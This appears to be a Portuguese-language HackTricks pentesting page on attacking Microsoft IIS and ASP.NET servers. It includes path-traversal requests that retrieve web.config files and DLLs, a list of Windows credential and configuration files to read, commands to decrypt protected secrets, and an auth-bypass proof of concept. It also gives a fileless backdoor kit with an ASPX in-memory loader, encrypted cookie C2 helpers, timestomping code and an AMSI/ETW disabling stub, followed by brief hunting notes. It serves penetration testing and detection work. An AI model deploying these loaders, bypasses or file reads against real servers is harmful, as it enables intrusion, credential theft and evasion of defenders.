IIS - Internet Information Services

Reading time: 16 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Extensões de arquivos executáveis para teste:

  • asp
  • aspx
  • config
  • php

Divulgação de Endereço IP Interno

On any IIS server where you get a 302 you can try stripping the Host header and using HTTP/1.0 and inside the response the Location header could point you to the internal IP address:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Resposta revelando o IP interno:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Executar arquivos .config

Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexando o código ao final do arquivo dentro de um comentário HTML: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Baixe a lista que eu criei:

Foi criada mesclando o conteúdo das seguintes listas:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Use-a sem adicionar qualquer extensão; os arquivos que precisam dela já a possuem.

Path Traversal

Leaking source code

Confira o writeup completo em: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

tip

Em resumo, existem vários arquivos web.config dentro das pastas da aplicação com referências a "assemblyIdentity" files and "namespaces". Com essa informação é possível saber where are executables located e baixá-los.
A partir dos downloaded Dlls também é possível encontrar new namespaces onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.
Além disso, os arquivos connectionstrings.config e global.asax podem conter informações interessantes.

Em .Net MVC applications, o arquivo web.config desempenha um papel crucial ao especificar cada arquivo binário do qual a aplicação depende através de tags XML "assemblyIdentity".

Explorando arquivos binários

Um exemplo de acesso ao arquivo web.config é mostrado abaixo:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Esta requisição revela várias configurações e dependências, tais como:

  • EntityFramework version
  • AppSettings for webpages, client validation, and JavaScript
  • System.web configurations for authentication and runtime
  • System.webServer modules settings
  • Runtime assembly bindings for numerous libraries like Microsoft.Owin, Newtonsoft.Json, and System.Web.Mvc

Essas configurações indicam que certos arquivos, como /bin/WebGrease.dll, estão localizados na pasta /bin da aplicação.

Arquivos do Diretório Raiz

Arquivos encontrados no diretório raiz, como /global.asax e /connectionstrings.config (que contém senhas sensíveis), são essenciais para a configuração e operação da aplicação.

Namespaces e Web.Config

Aplicações MVC também definem adicionais web.config files para namespaces específicos para evitar declarações repetitivas em cada arquivo, como demonstrado com uma requisição para baixar outro web.config:

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Baixando DLLs

A menção a um namespace personalizado indica uma DLL chamada "WebApplication1" presente no diretório /bin. Em seguida, é mostrada uma solicitação para baixar a WebApplication1.dll:

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Isso sugere a presença de outras DLLs essenciais, como System.Web.Mvc.dll e System.Web.Optimization.dll, no diretório /bin.

Em um cenário em que uma DLL importa um namespace chamado WebApplication1.Areas.Minded, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, tais como /area-name/Views/, contendo configurações específicas e referências a outras DLLs no diretório /bin. Por exemplo, uma requisição a /Minded/Views/web.config pode revelar configurações e namespaces que indicam a presença de outra DLL, WebApplication1.AdditionalFeatures.dll.

Arquivos comuns

Fonte: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

Erro HTTPAPI 2.0 404

If you see an error like the following one:

It means that the server não recebeu o nome de domínio correto inside the Host header.
Para acessar a página web você pode verificar o SSL Certificate servido e talvez encontre o nome de domínio/subdomínio nele. Se não estiver lá, talvez você precise brute force VHosts até encontrar o correto.

Descriptografar configurações criptografadas e key rings do ASP.NET Core Data Protection

Two common patterns to protect secrets on IIS-hosted .NET apps are:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) para seções do web.config como .
  • ASP.NET Core Data Protection key ring (persisted locally) usado para proteger segredos da aplicação e cookies.

Se você tem acesso ao sistema de arquivos ou acesso interativo no servidor web, chaves co-localizadas frequentemente permitem a descriptografia.

  • ASP.NET (Full Framework) – descriptografe seções protegidas do config com aspnet_regiis:
cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – procure por Data Protection key rings armazenados localmente (arquivos XML/JSON) em locais como:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Com o key ring disponível, um operador executando com a identidade do app pode instanciar um IDataProtector com os mesmos purposes e unprotect os segredos armazenados. Misconfigurações que armazenam o key ring junto com os arquivos do app tornam a descriptografia offline trivial assim que o host é comprometido.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

O toolkit Phantom Taurus/NET-STAR mostra um padrão maduro para fileless IIS persistence e post‑exploitation inteiramente dentro de w3wp.exe. As ideias centrais são amplamente reutilizáveis para tradecraft customizado e para detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: uma única página .aspx (por exemplo, OutlookEN.aspx) carrega uma .NET DLL codificada em Base64, opcionalmente comprimida com Gzip. Ao receber uma requisição de trigger, ela decodifica, descomprime e carrega reflectively a DLL no AppDomain atual e invoca o ponto de entrada principal (por exemplo, ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results são embalados com Gzip → AES‑ECB/PKCS7 → Base64 e movidos via requisições aparentemente legítimas com muitos cookies; operadores usavam delimitadores estáveis (por exemplo, "STAR") para chunking.
  • Reflective .NET execution: aceita assemblies gerenciados arbitrários como Base64, carrega via Assembly.Load(byte[]) e passa args do operador para swaps rápidos de módulos sem tocar no disco.
  • Operating in precompiled ASP.NET sites: adiciona/gerencia shells/backdoors auxiliares mesmo quando o site está precompilado (por exemplo, o dropper adiciona páginas/handlers dinâmicos ou aproveita config handlers) – exposto por comandos como bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expõe uma action changeLastModified e realiza timestomp no deployment (incluindo timestamps de compilação futura) para dificultar DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: um loader de segunda‑fase pode desabilitar AMSI e ETW antes de chamar Assembly.Load para reduzir a inspeção de payloads em memória.

Minimal ASPX loader pattern

aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Auxiliares de Packing/crypto (Gzip + AES‑ECB + Base64)

csharp
using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Fluxo de Cookie/session e superfície de comandos

  • O Session bootstrap e o tasking são transportados via cookies para se misturar com a atividade web normal.
  • Comandos observados em ambiente real incluíam: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; e primitivas de execução dinâmica code_self, code_pid, run_code para execução in‑memory em .NET.

Utilitário Timestomping

csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Desabilitar AMSI/ETW inline antes de Assembly.Load (variante loader)

csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Veja técnicas de bypass AMSI/ETW em: windows-hardening/av-bypass.md

Notas de caça (defensores)

  • Página ASPX única e estranha com blobs Base64/Gzip muito longos; posts com muitos cookies.
  • Módulos managed sem suporte dentro de w3wp.exe; strings como Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Delimitadores repetidos como "STAR" no tráfego; timestamps incompatíveis ou até de futuro em ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Muitas aplicações ASP.NET incluem Telerik UI for ASP.NET AJAX e expõem o handler não autenticado Telerik.Web.UI.WebResource.axd. Quando o endpoint de cache do Image Editor está acessível (type=iec), os parâmetros dkey=1 e prtype permitem reflection insegura que executa qualquer construtor público sem parâmetros pré‑autenticação. Isto fornece uma primitiva universal de DoS e pode escalar para RCE pré‑autenticado em apps com handlers AppDomain.AssemblyResolve inseguros.

Veja técnicas detalhadas e PoCs aqui:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Vulnerabilidades antigas do IIS que valem a pena procurar

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Você pode tentar enumerar pastas e arquivos dentro de cada pasta descoberta (mesmo que exija Basic Authentication) usando esta técnica.
A principal limitação desta técnica, se o servidor for vulnerável, é que ela só consegue encontrar até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão dos arquivos.

Você pode usar https://github.com/irsdl/IIS-ShortName-Scanner para testar essa vulnerabilidade:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Pesquisa original: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Você também pode usar metasploit: use scanner/http/iis_shortname_scanner

Uma boa ideia para encontrar o nome final dos arquivos descobertos é consultar LLMs por opções, como é feito no script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Contornar uma Basic Authentication (IIS 7.5) tentando acessar: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

Você pode tentar combinar esta vulnerabilidade com a anterior para encontrar novas pastas e contornar a autenticação.

ASP.NET Trace.AXD com depuração habilitada

ASP.NET inclui um modo de depuração e seu arquivo é chamado trace.axd.

Ele mantém um log muito detalhado de todas as requisições feitas a uma aplicação durante um período de tempo.

Esta informação inclui IPs remotos dos clientes, session IDs, todos os cookies de requisição e resposta, caminhos físicos, informações de código‑fonte e potencialmente até nomes de usuário e senhas.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH utiliza as seguintes informações:

  • validationKey (string): chave codificada em hex para validação de assinatura.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): vetor de inicialização codificado em hex (por padrão um vetor de zeros).
  • decryptionKey (string): chave codificada em hex para decriptação.

No entanto, algumas pessoas irão usar os valores padrão desses parâmetros e usar como cookie o email do usuário. Portanto, se você conseguir encontrar um site usando a mesma plataforma que está usando o cookie ASPXAUTH e você criar um usuário com o email do usuário que deseja se passar no servidor sob ataque, você pode ser capaz de usar o cookie do segundo servidor no primeiro e se passar pelo usuário.\ Este ataque funcionou neste writeup.

Contorno de autenticação do IIS com senhas em cache (CVE-2022-30209)

Full report here: Um bug no código não verificava corretamente a senha fornecida pelo usuário, então um atacante cujo hash da senha coincide com uma chave que já está no cache poderá efetuar login como esse usuário.

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks